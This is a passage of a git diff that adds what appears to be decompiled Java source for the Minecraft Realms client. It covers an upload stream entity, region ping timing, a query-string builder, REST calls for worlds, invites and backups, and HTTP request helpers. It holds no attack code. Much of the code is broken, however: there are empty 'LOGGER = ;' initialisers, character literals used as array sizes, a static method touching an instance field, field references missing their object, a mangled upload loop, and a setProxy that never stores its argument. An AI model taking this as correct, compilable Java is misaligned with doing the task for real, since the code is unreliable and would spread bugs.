+  
+  public boolean isFinished() {
+    return finished;
+  }
+  
+  public int getStatusCode() {
+    return statusCode;
+  }
+  
+  public String getErrorMessage() {
+    return errorMessage;
+  }
+  
+  private static class CustomInputStreamEntity extends InputStreamEntity
+  {
+    private final long length;
+    private final InputStream content;
+    private final UploadStatus uploadStatus;
+    
+    public CustomInputStreamEntity(InputStream instream, long length, UploadStatus uploadStatus) {
+      super();
+      content = instream;
+      this.length = length;
+      this.uploadStatus = uploadStatus;
+    }
+    
+    public void writeTo(OutputStream outstream) throws IOException {
+      org.apache.http.util.Args.notNull(outstream, "Output stream");
+      InputStream instream = content;
+      try {
+        byte[] buffer = new byte['က'];
+        
+        if (length < 0L) { int l;
+          UploadStatus localUploadStatus1;
+          for (; (l = instream.read(buffer)) != -1; 
+              
+              (localUploadStatus1.bytesWritten = Long.valueOf(bytesWritten.longValue() + l)))
+          {
+            outstream.write(buffer, 0, l);
+            localUploadStatus1 = uploadStatus;
+          }
+        }
+        
+        long remaining = length;
+        while (remaining > 0L) {
+          int l = instream.read(buffer, 0, (int)Math.min(4096L, remaining));
+          if (l == -1) {
+            break;
+          }
+          outstream.write(buffer, 0, l);
+          UploadStatus localUploadStatus2 = uploadStatus;(localUploadStatus2.bytesWritten = Long.valueOf(bytesWritten.longValue() + l));
+          remaining -= l;
+          outstream.flush();
+        }
+      }
+      finally {
+        instream.close();
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/client/Ping.java b/src/minecraft/com/mojang/realmsclient/client/Ping.java
new file mode 100644
index 0000000..e7c7397
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/client/Ping.java
@@ -0,0 +1,97 @@
+package com.mojang.realmsclient.client;
+
+import com.mojang.realmsclient.dto.RegionPingResult;
+import java.net.Socket;
+import java.net.SocketAddress;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.List;
+
+public class Ping
+{
+  public Ping() {}
+  
+  public static List<RegionPingResult> ping(Region... regions)
+  {
+    for (Region region : regions) {
+      ping(endpoint);
+    }
+    
+
+    List<RegionPingResult> results = new ArrayList();
+    for (Region region : regions) {
+      results.add(new RegionPingResult(name, ping(endpoint)));
+    }
+    
+
+    Collections.sort(results, new Comparator()
+    {
+      public int compare(RegionPingResult o1, RegionPingResult o2) {
+        return o1.ping() - o2.ping();
+      }
+    });
+    return results;
+  }
+  
+  private static int ping(String host) {
+    int timeout = 700;
+    long sum = 0L;
+    Socket socket = null;
+    for (int i = 0; i < 5; i++) {
+      try {
+        SocketAddress sockAddr = new java.net.InetSocketAddress(host, 80);
+        socket = new Socket();
+        long t1 = now();
+        socket.connect(sockAddr, 700);
+        sum += now() - t1;
+      } catch (Exception e) {
+        sum += 700L;
+      } finally {
+        close(socket);
+      }
+    }
+    return (int)(sum / 5.0D);
+  }
+  
+  private static void close(Socket socket) {
+    try {
+      if (socket != null) {
+        socket.close();
+      }
+    }
+    catch (Throwable t) {}
+  }
+  
+  private static long now()
+  {
+    return System.currentTimeMillis();
+  }
+  
+  public static List<RegionPingResult> pingAllRegions() {
+    return ping(Region.values());
+  }
+  
+
+
+
+  static enum Region
+  {
+    US_EAST_1("us-east-1", "ec2.us-east-1.amazonaws.com"), 
+    US_WEST_2("us-west-2", "ec2.us-west-2.amazonaws.com"), 
+    US_WEST_1("us-west-1", "ec2.us-west-1.amazonaws.com"), 
+    EU_WEST_1("eu-west-1", "ec2.eu-west-1.amazonaws.com"), 
+    AP_SOUTHEAST_1("ap-southeast-1", "ec2.ap-southeast-1.amazonaws.com"), 
+    AP_SOUTHEAST_2("ap-southeast-2", "ec2.ap-southeast-2.amazonaws.com"), 
+    AP_NORTHEAST_1("ap-northeast-1", "ec2.ap-northeast-1.amazonaws.com"), 
+    SA_EAST_1("sa-east-1", "ec2.sa-east-1.amazonaws.com");
+    
+    private Region(String name, String endpoint) {
+      this.name = name;
+      this.endpoint = endpoint;
+    }
+    
+    private final String name;
+    private final String endpoint;
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/client/QueryBuilder.java b/src/minecraft/com/mojang/realmsclient/client/QueryBuilder.java
new file mode 100644
index 0000000..1b3de6c
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/client/QueryBuilder.java
@@ -0,0 +1,49 @@
+package com.mojang.realmsclient.client;
+
+import java.util.Map;
+
+public class QueryBuilder
+{
+  public QueryBuilder() {}
+  
+  private Map<String, String> queryParams = new java.util.HashMap();
+  
+  public static QueryBuilder of(String key, String value) {
+    QueryBuilder queryBuilder = new QueryBuilder();
+    queryParams.put(key, value);
+    return queryBuilder;
+  }
+  
+  public static QueryBuilder empty() {
+    return new QueryBuilder();
+  }
+  
+  public QueryBuilder with(String key, String value) {
+    queryParams.put(key, value);
+    return this;
+  }
+  
+  public QueryBuilder with(Object key, Object value) {
+    queryParams.put(String.valueOf(key), String.valueOf(value));
+    return this;
+  }
+  
+  public String toQueryString() {
+    StringBuilder stringBuilder = new StringBuilder();
+    
+    java.util.Iterator<String> keyIterator = queryParams.keySet().iterator();
+    if (!keyIterator.hasNext()) {
+      return null;
+    }
+    
+    String firstKey = (String)keyIterator.next();
+    stringBuilder.append(firstKey).append("=").append((String)queryParams.get(firstKey));
+    
+    while (keyIterator.hasNext()) {
+      String key = (String)keyIterator.next();
+      stringBuilder.append("&").append(key).append("=").append((String)queryParams.get(key));
+    }
+    
+    return stringBuilder.toString();
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/client/RealmsClient.java b/src/minecraft/com/mojang/realmsclient/client/RealmsClient.java
new file mode 100644
index 0000000..f5f897e
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/client/RealmsClient.java
@@ -0,0 +1,453 @@
+package com.mojang.realmsclient.client;
+
+import com.google.gson.Gson;
+import com.mojang.realmsclient.dto.Ops;
+import com.mojang.realmsclient.dto.PendingInvitesList;
+import com.mojang.realmsclient.dto.RealmsOptions;
+import com.mojang.realmsclient.dto.RealmsServer;
+import com.mojang.realmsclient.dto.RealmsServerList;
+import com.mojang.realmsclient.dto.UploadInfo;
+import com.mojang.realmsclient.dto.WorldTemplateList;
+import com.mojang.realmsclient.exception.RealmsHttpException;
+import com.mojang.realmsclient.exception.RealmsServiceException;
+import java.io.IOException;
+import java.net.Proxy;
+import java.net.URI;
+import java.net.URISyntaxException;
+import net.minecraft.realms.Realms;
+import org.apache.logging.log4j.Logger;
+
+public class RealmsClient
+{
+  private static final Logger LOGGER = ;
+  
+  private final String sessionId;
+  
+  private final String username;
+  private static String baseUrl = "mcoapi.minecraft.net";
+  
+  private static final String WORLDS_RESOURCE_PATH = "worlds";
+  
+  private static final String INVITES_RESOURCE_PATH = "invites";
+  
+  private static final String MCO_RESOURCE_PATH = "mco";
+  
+  private static final String SUBSCRIPTION_RESOURCE = "subscriptions";
+  private static final String ACTIVITIES_RESOURCE = "activities";
+  private static final String OPS_RESOURCE = "ops";
+  private static final String REGIONS_RESOURCE = "regions/ping/stat";
+  private static final String TRIALS_RESOURCE = "trial";
+  private static final String PATH_INITIALIZE = "/$WORLD_ID/initialize";
+  private static final String PATH_GET_ACTIVTIES = "/$WORLD_ID";
+  private static final String PATH_GET_SUBSCRIPTION = "/$WORLD_ID";
+  private static final String PATH_GET_MINIGAMES = "/minigames";
+  private static final String PATH_OP = "/$WORLD_ID";
+  private static final String PATH_PUT_INTO_MINIGAMES_MODE = "/minigames/$MINIGAME_ID/$WORLD_ID";
+  private static final String PATH_AVAILABLE = "/available";
+  private static final String PATH_TEMPLATES = "/templates";
+  private static final String PATH_WORLD_JOIN = "/$ID/join";
+  private static final String PATH_WORLD_GET = "/$ID";
+  private static final String PATH_WORLD_INVITES = "/$WORLD_ID/invite";
+  private static final String PATH_WORLD_UNINVITE = "/$WORLD_ID/invite/$UUID";
+  private static final String PATH_PENDING_INVITES_COUNT = "/count/pending";
+  private static final String PATH_PENDING_INVITES = "/pending";
+  private static final String PATH_ACCEPT_INVITE = "/accept/$INVITATION_ID";
+  private static final String PATH_REJECT_INVITE = "/reject/$INVITATION_ID";
+  private static final String PATH_UNINVITE_MYSELF = "/$WORLD_ID";
+  private static final String PATH_WORLD_UPDATE = "/$WORLD_ID";
+  private static final String PATH_SLOT_UPDATE = "/$WORLD_ID/slot";
+  private static final String PATH_SLOT_SWITCH = "/$WORLD_ID/slot/$SLOT_ID";
+  private static final String PATH_WORLD_OPEN = "/$WORLD_ID/open";
+  private static final String PATH_WORLD_CLOSE = "/$WORLD_ID/close";
+  private static final String PATH_WORLD_RESET = "/$WORLD_ID/reset";
+  private static final String PATH_DELETE_WORLD = "/$WORLD_ID";
+  private static final String PATH_WORLD_BACKUPS = "/$WORLD_ID/backups";
+  private static final String PATH_WORLD_DOWNLOAD = "/$WORLD_ID/backups/download";
+  private static final String PATH_WORLD_UPLOAD = "/$WORLD_ID/backups/upload";
+  private static final String PATH_WORLD_UPLOAD_FINISHED = "/$WORLD_ID/backups/upload/finished";
+  private static final String PATH_WORLD_UPLOAD_CANCELLED = "/$WORLD_ID/backups/upload/cancelled";
+  private static final String PATH_CLIENT_COMPATIBLE = "/client/compatible";
+  private static final String PATH_TOS_AGREED = "/tos/agreed";
+  private static final String PATH_MCO_BUY = "/buy";
+  private static final String PATH_STAGE_AVAILABLE = "/stageAvailable";
+  private static Gson gson = new Gson();
+  
+  public static RealmsClient createRealmsClient() {
+    String username = Realms.userName();
+    String sessionId = Realms.sessionId();
+    
+    if ((username == null) || (sessionId == null)) {
+      return null;
+    }
+    
+    return new RealmsClient(sessionId, username, Realms.getProxy());
+  }
+  
+  public static void switchToStage() {
+    baseUrl = "mcoapi-stage.minecraft.net";
+  }
+  
+  public static void switchToProd() {
+    baseUrl = "mcoapi.minecraft.net";
+  }
+  
+  public RealmsClient(String sessionId, String username, Proxy proxy) {
+    this.sessionId = sessionId;
+    this.username = username;
+    
+    RealmsClientConfig.setProxy(proxy);
+  }
+  
+  public RealmsServerList listWorlds() throws RealmsServiceException, IOException
+  {
+    String asciiUrl = url("worlds");
+    String json = execute(Request.get(asciiUrl));
+    return RealmsServerList.parse(json);
+  }
+  
+  public RealmsServer getOwnWorld(long worldId) throws RealmsServiceException, IOException {
+    String asciiUrl = url("worlds" + "/$ID".replace("$ID", String.valueOf(worldId)));
+    String json = execute(Request.get(asciiUrl));
+    return RealmsServer.parse(json);
+  }
+  
+  public com.mojang.realmsclient.dto.ServerActivityList getActivity(long worldId) throws RealmsServiceException {
+    String asciiUrl = url("activities" + "/$WORLD_ID".replace("$WORLD_ID", String.valueOf(worldId)));
+    String json = execute(Request.get(asciiUrl));
+    return com.mojang.realmsclient.dto.ServerActivityList.parse(json);
+  }
+  
+  public com.mojang.realmsclient.dto.RealmsServerAddress join(long worldId) throws RealmsServiceException, IOException {
+    String asciiUrl = url("worlds" + "/$ID/join".replace("$ID", new StringBuilder().append("").append(worldId).toString()));
+    String json = execute(Request.get(asciiUrl, 5000, 30000));
+    return com.mojang.realmsclient.dto.RealmsServerAddress.parse(json);
+  }
+  
+  public void initializeWorld(long worldId, String name, String motd) throws RealmsServiceException, IOException {
+    String queryString = QueryBuilder.of("name", name).with("motd", motd).toQueryString();
+    
+
+
+
+    String asciiUrl = url("worlds" + "/$WORLD_ID/initialize".replace("$WORLD_ID", String.valueOf(worldId)), queryString);
+    
+    execute(Request.put(asciiUrl, "", 5000, 10000));
+  }
+  
+  public Boolean mcoEnabled() throws RealmsServiceException, IOException {
+    String asciiUrl = url("mco/available");
+    String json = execute(Request.get(asciiUrl));
+    return Boolean.valueOf(json);
+  }
+  
+  public Boolean stageAvailable() throws RealmsServiceException, IOException {
+    String asciiUrl = url("mco/stageAvailable");
+    String json = execute(Request.get(asciiUrl));
+    return Boolean.valueOf(json);
+  }
+  
+  public CompatibleVersionResponse clientCompatible() throws RealmsServiceException, IOException
+  {
+    String asciiUrl = url("mco/client/compatible");
+    String response = execute(Request.get(asciiUrl));
+    CompatibleVersionResponse result;
+    try
+    {
+      result = CompatibleVersionResponse.valueOf(response);
+    } catch (IllegalArgumentException e) {
+      throw new RealmsServiceException(500, "Could not check compatible version, got response: " + response, -1, "");
+    }
+    
+    return result;
+  }
+  
+  public void uninvite(long worldId, String profileUuid) throws RealmsServiceException {
+    String asciiUrl = url("invites" + "/$WORLD_ID/invite/$UUID".replace("$WORLD_ID", String.valueOf(worldId)).replace("$UUID", profileUuid));
+    execute(Request.delete(asciiUrl));
+  }
+  
+  public void uninviteMyselfFrom(long worldId) throws RealmsServiceException {
+    String asciiUrl = url("invites" + "/$WORLD_ID".replace("$WORLD_ID", String.valueOf(worldId)));
+    execute(Request.delete(asciiUrl));
+  }
+  
+  public RealmsServer invite(long worldId, String profileName) throws RealmsServiceException, IOException {
+    String queryString = QueryBuilder.of("profileName", profileName).toQueryString();
+    String asciiUrl = url("invites" + "/$WORLD_ID/invite".replace("$WORLD_ID", String.valueOf(worldId)), queryString);
+    String json = execute(Request.put(asciiUrl, ""));
+    return RealmsServer.parse(json);
+  }
+  
+  public com.mojang.realmsclient.dto.BackupList backupsFor(long worldId) throws RealmsServiceException {
+    String asciiUrl = url("worlds" + "/$WORLD_ID/backups".replace("$WORLD_ID", String.valueOf(worldId)));
+    String json = execute(Request.get(asciiUrl));
+    return com.mojang.realmsclient.dto.BackupList.parse(json);
+  }
+  
+  public void update(long worldId, String name, String motd) throws RealmsServiceException, java.io.UnsupportedEncodingException {
+    QueryBuilder qb = QueryBuilder.of("name", name);
+    
+    if (motd != null) {
+      qb = qb.with("motd", motd);
+    }
+    
+    String queryString = qb.toQueryString();
+    
+    String asciiUrl = url("worlds" + "/$WORLD_ID".replace("$WORLD_ID", String.valueOf(worldId)), queryString);
+    execute(Request.put(asciiUrl, ""));
+  }
+  
+  public void updateSlot(long worldId, RealmsOptions options) throws RealmsServiceException, java.io.UnsupportedEncodingException {
+    QueryBuilder qb = QueryBuilder.of("options", options.toJson());
+    
+    String queryString = qb.toQueryString();
+    
+    String asciiUrl = url("worlds" + "/$WORLD_ID/slot".replace("$WORLD_ID", String.valueOf(worldId)), queryString);
+    execute(Request.put(asciiUrl, ""));
+  }
+  
+  public boolean switchSlot(long worldId, int slot) throws RealmsServiceException
+  {
+    String asciiUrl = url("worlds" + "/$WORLD_ID/slot/$SLOT_ID".replace("$WORLD_ID", String.valueOf(worldId)).replace("$SLOT_ID", String.valueOf(slot)));
+    String json = execute(Request.put(asciiUrl, ""));
+    return Boolean.valueOf(json).booleanValue();
+  }
+  
+  public void restoreWorld(long worldId, String backupId) throws RealmsServiceException {
+    String asciiUrl = url("worlds" + "/$WORLD_ID/backups".replace("$WORLD_ID", String.valueOf(worldId)), "backupId=" + backupId);
+    execute(Request.put(asciiUrl, "", 40000, 40000));
+  }
+  
+  public WorldTemplateList fetchWorldTemplates() throws RealmsServiceException {
+    String asciiUrl = url("worlds/templates");
+    String json = execute(Request.get(asciiUrl));
+    return WorldTemplateList.parse(json);
+  }
+  
+  public WorldTemplateList fetchMinigames() throws RealmsServiceException {
+    String asciiUrl = url("worlds/minigames");
+    String json = execute(Request.get(asciiUrl));
+    return WorldTemplateList.parse(json);
+  }
+  
+  public Boolean putIntoMinigameMode(long worldId, String minigameId) throws RealmsServiceException {
+    String path = "/minigames/$MINIGAME_ID/$WORLD_ID".replace("$MINIGAME_ID", minigameId).replace("$WORLD_ID", String.valueOf(worldId));
+    String asciiUrl = url("worlds" + path);
+    return Boolean.valueOf(execute(Request.put(asciiUrl, "")));
+  }
+  
+  public Ops op(long worldId, String profileName) throws RealmsServiceException {
+    String queryString = QueryBuilder.of("profileName", profileName).toQueryString();
+    
+
+
+    String path = "/$WORLD_ID".replace("$WORLD_ID", String.valueOf(worldId));
+    String asciiUrl = url("ops" + path, queryString);
+    return Ops.parse(execute(Request.post(asciiUrl, "")));
+  }
+  
+  public Ops deop(long worldId, String profileName) throws RealmsServiceException {
+    String queryString = QueryBuilder.of("profileName", profileName).toQueryString();
+    
+
+
+    String path = "/$WORLD_ID".replace("$WORLD_ID", String.valueOf(worldId));
+    String asciiUrl = url("ops" + path, queryString);
+    return Ops.parse(execute(Request.delete(asciiUrl)));
+  }
+  
+  public Boolean open(long worldId) throws RealmsServiceException, IOException {
+    String asciiUrl = url("worlds" + "/$WORLD_ID/open".replace("$WORLD_ID", String.valueOf(worldId)));
+    String json = execute(Request.put(asciiUrl, ""));
+    return Boolean.valueOf(json);
+  }
+  
+  public Boolean close(long worldId) throws RealmsServiceException, IOException {
+    String asciiUrl = url("worlds" + "/$WORLD_ID/close".replace("$WORLD_ID", String.valueOf(worldId)));
+    String json = execute(Request.put(asciiUrl, ""));
+    return Boolean.valueOf(json);
+  }
+  
+  public Boolean resetWorldWithSeed(long worldId, String seed, Integer levelType, boolean generateStructures) throws RealmsServiceException, IOException {
+    QueryBuilder qb = QueryBuilder.empty();
+    
+    if ((seed != null) && (seed.length() > 0)) {
+      qb = qb.with("seed", seed);
+    }
+    
+    qb = qb.with("levelType", levelType).with("generateStructures", Boolean.valueOf(generateStructures));
+    
+    String asciiUrl = url("worlds" + "/$WORLD_ID/reset".replace("$WORLD_ID", String.valueOf(worldId)), qb.toQueryString());
+    String json = execute(Request.put(asciiUrl, "", 30000, 80000));
+    return Boolean.valueOf(json);
+  }
+  
+  public Boolean resetWorldWithTemplate(long worldId, String worldTemplateId) throws RealmsServiceException, IOException {
+    QueryBuilder qb = QueryBuilder.empty();
+    
+    if (worldTemplateId != null) {
+      qb = qb.with("template", worldTemplateId);
+    }
+    
+    String asciiUrl = url("worlds" + "/$WORLD_ID/reset".replace("$WORLD_ID", String.valueOf(worldId)), qb.toQueryString());
+    String json = execute(Request.put(asciiUrl, "", 30000, 80000));
+    return Boolean.valueOf(json);
+  }
+  
+  public com.mojang.realmsclient.dto.Subscription subscriptionFor(long worldId) throws RealmsServiceException, IOException {
+    String asciiUrl = url("subscriptions" + "/$WORLD_ID".replace("$WORLD_ID", String.valueOf(worldId)));
+    String json = execute(Request.get(asciiUrl));
+    return com.mojang.realmsclient.dto.Subscription.parse(json);
+  }
+  
+  public int pendingInvitesCount() throws RealmsServiceException {
+    String asciiUrl = url("invites/count/pending");
+    String json = execute(Request.get(asciiUrl));
+    return Integer.parseInt(json);
+  }
+  
+  public PendingInvitesList pendingInvites() throws RealmsServiceException {
+    String asciiUrl = url("invites/pending");
+    String json = execute(Request.get(asciiUrl));
+    return PendingInvitesList.parse(json);
+  }
+  
+  public void acceptInvitation(String invitationId) throws RealmsServiceException {
+    String asciiUrl = url("invites" + "/accept/$INVITATION_ID".replace("$INVITATION_ID", invitationId));
+    execute(Request.put(asciiUrl, ""));
+  }
+  
+  public com.mojang.realmsclient.dto.RealmsState fetchRealmsState() throws RealmsServiceException {
+    String asciiUrl = url("mco/buy");
+    String json = execute(Request.get(asciiUrl));
+    return com.mojang.realmsclient.dto.RealmsState.parse(json);
+  }
+  
+  public String download(long worldId) throws RealmsServiceException {
+    String asciiUrl = url("worlds" + "/$WORLD_ID/backups/download".replace("$WORLD_ID", String.valueOf(worldId)));
+    return execute(Request.get(asciiUrl));
+  }
+  
+  public UploadInfo upload(long worldId, String uploadToken) throws RealmsServiceException {
+    String asciiUrl = url("worlds" + "/$WORLD_ID/backups/upload".replace("$WORLD_ID", String.valueOf(worldId)));
+    UploadInfo oldUploadInfo = new UploadInfo();
+    
+    if (uploadToken != null) {
+      oldUploadInfo.setToken(uploadToken);
+    }
+    
+    String content = gson.toJson(oldUploadInfo);
+    return UploadInfo.parse(execute(Request.put(asciiUrl, content)));
+  }
+  
+  public void uploadCancelled(long worldId, String uploadToken) throws RealmsServiceException {
+    String asciiUrl = url("worlds" + "/$WORLD_ID/backups/upload/cancelled".replace("$WORLD_ID", String.valueOf(worldId)));
+    UploadInfo oldUploadInfo = new UploadInfo();
+    oldUploadInfo.setToken(uploadToken);
+    
+    String content = gson.toJson(oldUploadInfo);
+    execute(Request.put(asciiUrl, content));
+  }
+  
+  public void uploadFinished(long worldId) throws RealmsServiceException {
+    String asciiUrl = url("worlds" + "/$WORLD_ID/backups/upload/finished".replace("$WORLD_ID", String.valueOf(worldId)));
+    execute(Request.put(asciiUrl, ""));
+  }
+  
+  public void rejectInvitation(String invitationId) throws RealmsServiceException {
+    String asciiUrl = url("invites" + "/reject/$INVITATION_ID".replace("$INVITATION_ID", invitationId));
+    execute(Request.put(asciiUrl, ""));
+  }
+  
+  public void agreeToTos() throws RealmsServiceException {
+    String asciiUrl = url("mco/tos/agreed");
+    execute(Request.post(asciiUrl, ""));
+  }
+  
+  public void sendPingResults(com.mojang.realmsclient.dto.PingResult pingResult) throws RealmsServiceException {
+    String asciiUrl = url("regions/ping/stat");
+    execute(Request.post(asciiUrl, gson.toJson(pingResult)));
+  }
+  
+  public Boolean trialAvailable() throws RealmsServiceException, IOException {
+    String asciiUrl = url("trial");
+    String json = execute(Request.get(asciiUrl));
+    return Boolean.valueOf(json);
+  }
+  
+  public Boolean createTrial() throws RealmsServiceException, IOException {
+    String asciiUrl = url("trial");
+    String json = execute(Request.put(asciiUrl, ""));
+    return Boolean.valueOf(json);
+  }
+  
+  public void deleteWorld(long worldId) throws RealmsServiceException, IOException {
+    String asciiUrl = url("worlds" + "/$WORLD_ID".replace("$WORLD_ID", String.valueOf(worldId)));
+    execute(Request.delete(asciiUrl));
+  }
+  
+  private String url(String path) {
+    return url(path, null);
+  }
+  
+  private String url(String path, String queryString) {
+    try {
+      URI uri = new URI("https", baseUrl, "/" + path, queryString, null);
+      return uri.toASCIIString();
+    } catch (URISyntaxException e) {
+      e.printStackTrace(); }
+    return null;
+  }
+  
+  private String execute(Request<?> r) throws RealmsServiceException
+  {
+    r.cookie("sid", sessionId);
+    r.cookie("user", username);
+    r.cookie("version", net.minecraft.realms.RealmsSharedConstants.VERSION_STRING);
+    String realmsVersion = com.mojang.realmsclient.RealmsVersion.getVersion();
+    
+    if (realmsVersion != null) {
+      r.cookie("realms_version", realmsVersion);
+    }
+    try
+    {
+      int responseCode = r.responseCode();
+      
+      if (responseCode == 503) {
+        int pauseTime = r.getRetryAfterHeader();
+        throw new com.mojang.realmsclient.exception.RetryCallException(pauseTime);
+      }
+      
+      String responseText = r.text();
+      
+      if ((responseCode < 200) || (responseCode >= 300)) {
+        if (responseCode == 401) {
+          String authenticationHeader = r.getHeader("WWW-Authenticate");
+          LOGGER.info("Could not authorize you against Realms server: " + authenticationHeader);
+          throw new RealmsServiceException(responseCode, authenticationHeader, -1, authenticationHeader);
+        }
+        
+        if ((responseText == null) || (responseText.length() == 0)) {
+          LOGGER.error("Realms error code: " + responseCode + " message: " + responseText);
+          throw new RealmsServiceException(responseCode, responseText, responseCode, "");
+        }
+        RealmsError error = new RealmsError(responseText);
+        LOGGER.error("Realms http code: " + responseCode + " -  error code: " + error.getErrorCode() + " -  message: " + error.getErrorMessage());
+        throw new RealmsServiceException(responseCode, responseText, error);
+      }
+      
+
+      return responseText;
+    } catch (RealmsHttpException e) {
+      throw new RealmsServiceException(500, "Could not connect to Realms: " + e.getMessage(), -1, "");
+    }
+  }
+  
+  public static enum CompatibleVersionResponse {
+    COMPATIBLE, 
+    OUTDATED, 
+    OTHER;
+    
+    private CompatibleVersionResponse() {}
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/client/RealmsClientConfig.java b/src/minecraft/com/mojang/realmsclient/client/RealmsClientConfig.java
new file mode 100644
index 0000000..11fc6c8
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/client/RealmsClientConfig.java
@@ -0,0 +1,18 @@
+package com.mojang.realmsclient.client;
+
+import java.net.Proxy;
+
+public class RealmsClientConfig {
+  private static Proxy proxy;
+  
+  public RealmsClientConfig() {}
+  
+  public static Proxy getProxy() { return proxy; }
+  
+  public static void setProxy(Proxy proxy)
+  {
+    if (proxy == null) {
+      proxy = proxy;
+    }
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/client/RealmsError.java b/src/minecraft/com/mojang/realmsclient/client/RealmsError.java
new file mode 100644
index 0000000..2137493
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/client/RealmsError.java
@@ -0,0 +1,37 @@
+package com.mojang.realmsclient.client;
+
+import com.google.gson.JsonElement;
+import com.google.gson.JsonObject;
+import com.google.gson.JsonParser;
+import com.mojang.realmsclient.util.JsonUtils;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+
+
+public class RealmsError
+{
+  private static final Logger LOGGER = ;
+  private String errorMessage;
+  private int errorCode;
+  
+  public RealmsError(String error)
+  {
+    try {
+      JsonParser parser = new JsonParser();
+      JsonObject object = parser.parse(error).getAsJsonObject();
+      errorMessage = JsonUtils.getStringOr("errorMsg", object, "");
+      errorCode = JsonUtils.getIntOr("errorCode", object, -1);
+    } catch (Exception e) {
+      LOGGER.error("Could not parse RealmsError: " + e.getMessage());
+    }
+  }
+  
+  public String getErrorMessage()
+  {
+    return errorMessage;
+  }
+  
+  public int getErrorCode() {
+    return errorCode;
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/client/Request.java b/src/minecraft/com/mojang/realmsclient/client/Request.java
new file mode 100644
index 0000000..8489868
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/client/Request.java
@@ -0,0 +1,295 @@
+package com.mojang.realmsclient.client;
+
+import com.mojang.realmsclient.exception.RealmsHttpException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.OutputStream;
+import java.net.HttpURLConnection;
+import java.net.MalformedURLException;
+import java.net.Proxy;
+import java.net.URL;
+
+public abstract class Request<T extends Request>
+{
+  protected HttpURLConnection connection;
+  private boolean connected;
+  protected String url;
+  private static final int DEFAULT_READ_TIMEOUT = 60000;
+  private static final int DEFAULT_CONNECT_TIMEOUT = 5000;
+  
+  public Request(String url, int connectTimeout, int readTimeout)
+  {
+    try
+    {
+      this.url = url;
+      Proxy proxy = RealmsClientConfig.getProxy();
+      
+      if (proxy != null) {
+        connection = ((HttpURLConnection)new URL(url).openConnection(proxy));
+      } else {
+        connection = ((HttpURLConnection)new URL(url).openConnection());
+      }
+      
+      connection.setConnectTimeout(connectTimeout);
+      connection.setReadTimeout(readTimeout);
+    } catch (MalformedURLException e) {
+      throw new RealmsHttpException(e.getMessage(), e);
+    } catch (IOException e) {
+      throw new RealmsHttpException(e.getMessage(), e);
+    }
+  }
+  
+  public void cookie(String key, String value) {
+    cookie(connection, key, value);
+  }
+  
+  public static void cookie(HttpURLConnection connection, String key, String value) {
+    String cookie = connection.getRequestProperty("Cookie");
+    if (cookie == null) {
+      connection.setRequestProperty("Cookie", key + "=" + value);
+    } else {
+      connection.setRequestProperty("Cookie", cookie + ";" + key + "=" + value);
+    }
+  }
+  
+  public T header(String name, String value)
+  {
+    connection.addRequestProperty(name, value);
+    return this;
+  }
+  
+  public int getRetryAfterHeader() {
+    return getRetryAfterHeader(connection);
+  }
+  
+  public static int getRetryAfterHeader(HttpURLConnection connection) {
+    String pauseTime = connection.getHeaderField("Retry-After");
+    try {
+      return Integer.valueOf(pauseTime).intValue();
+    } catch (Exception e) {}
+    return 5;
+  }
+  
+  public int responseCode()
+  {
+    try {
+      connect();
+      return connection.getResponseCode();
+    } catch (Exception e) {
+      throw new RealmsHttpException(e.getMessage(), e);
+    }
+  }
+  
+  public String text() {
+    try {
+      connect();
+      String result = null;
+      
+      if (responseCode() >= 400) {
+        result = read(connection.getErrorStream());
+      } else {
+        result = read(connection.getInputStream());
+      }
+      
+      dispose();
+      return result;
+    } catch (IOException e) {
+      throw new RealmsHttpException(e.getMessage(), e);
+    }
+  }
+  
+  private String read(InputStream in) throws IOException {
+    if (in == null) return "";
+    InputStreamReader streamReader = new InputStreamReader(in, "UTF-8");
+    StringBuilder sb = new StringBuilder();
+    for (int x = streamReader.read(); x != -1; x = streamReader.read()) { sb.append((char)x);
+    }
+    return sb.toString();
+  }
+  
+  private void dispose() {
+    byte[] bytes = new byte['Ѐ'];
+    try {
+      int count = 0;
+      InputStream in = connection.getInputStream();
+      while ((count = in.read(bytes)) > 0) {}
+      
+
+      in.close();
+    } catch (Exception ignore) {
+      try {
+        InputStream errorStream = connection.getErrorStream();
+        int ret = 0;
+        
+        if (errorStream == null) {
+          return;
+        }
+        
+        while ((ret = errorStream.read(bytes)) > 0) {}
+        
+
+        errorStream.close();
+      }
+      catch (IOException ignoreToo) {}
+    } finally {
+      if (connection != null) {
+        connection.disconnect();
+      }
+    }
+  }
+  
+  protected T connect()
+  {
+    if (!connected) {
+      T t = doConnect();
+      connected = true;
+      return t;
+    }
+    return this;
+  }
+  
+  protected abstract T doConnect();
+  
+  public static Request<?> get(String url)
+  {
+    return new Get(url, 5000, 60000);
+  }
+  
+  public static Request<?> get(String url, int connectTimeoutMillis, int readTimeoutMillis) {
+    return new Get(url, connectTimeoutMillis, readTimeoutMillis);
+  }
+  
+  public static Request<?> post(String uri, String content) {
+    return new Post(uri, content.getBytes(), 5000, 60000);
+  }
+  
+  public static Request<?> post(String uri, String content, int connectTimeoutMillis, int readTimeoutMillis) {
+    return new Post(uri, content.getBytes(), connectTimeoutMillis, readTimeoutMillis);
+  }
+  
+  public static Request<?> delete(String url) {
+    return new Delete(url, 5000, 60000);
+  }
+  
+  public static Request<?> put(String url, String content) {
+    return new Put(url, content.getBytes(), 5000, 60000);
+  }
+  
+  public static Request<?> put(String url, String content, int connectTimeoutMillis, int readTimeoutMillis) {
+    return new Put(url, content.getBytes(), connectTimeoutMillis, readTimeoutMillis);
+  }
+  
+  public String getHeader(String header) {
+    return getHeader(connection, header);
+  }
+  
+  public static String getHeader(HttpURLConnection connection, String header) {
+    try {
+      return connection.getHeaderField(header);
